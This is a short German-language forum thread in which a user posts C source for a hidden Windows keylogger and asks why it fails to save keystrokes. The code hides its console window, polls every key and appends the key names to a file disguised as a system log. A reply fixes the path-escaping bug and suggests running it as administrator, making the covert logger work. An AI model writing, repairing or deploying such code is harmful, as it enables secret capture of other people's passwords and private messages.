Keylogger speichert nicht
-
#include <windows.h> #include <stdio.h> int main() { AllocConsole(); ShowWindow(FindWindowA("ConsoleWindowClass",NULL),0); FILE *Log; short key; char szKey[MAX_PATH]; int scan; while(1) { Sleep(10); for(key=0;key<256;key++) { if(GetAsyncKeyState(key)==-32767) { scan=MapVirtualKeyEx(key,0,GetKeyboardLayout(0)); GetKeyNameText(scan << 16,szKey,MAX_PATH); Log=fopen ("C:\WindowsSystemlog.txt","a+"); fprintf(Log,"%s--",szKey); fclose(Log); } } } }
Es speichert irgendwie die Zeichen nicht
-
Kann es sein, daß Du Vista bzw. Win7 benutzt?
Ich hab das x bei WinXP versucht, da hatt' es geklappt. Wenn es Win7 ist, probier x mit "als Administrator starten"...Man bin ich schusselig...natürlich mußt du auch:
Log=fopen ("C:\WindowsSystemlog.txt","a+");
zu:
Log=fopen ("C:\\WindowsSystemlog.txt","a+");
ändern
-
lol. habsch au übersehe
-
copy paste brothers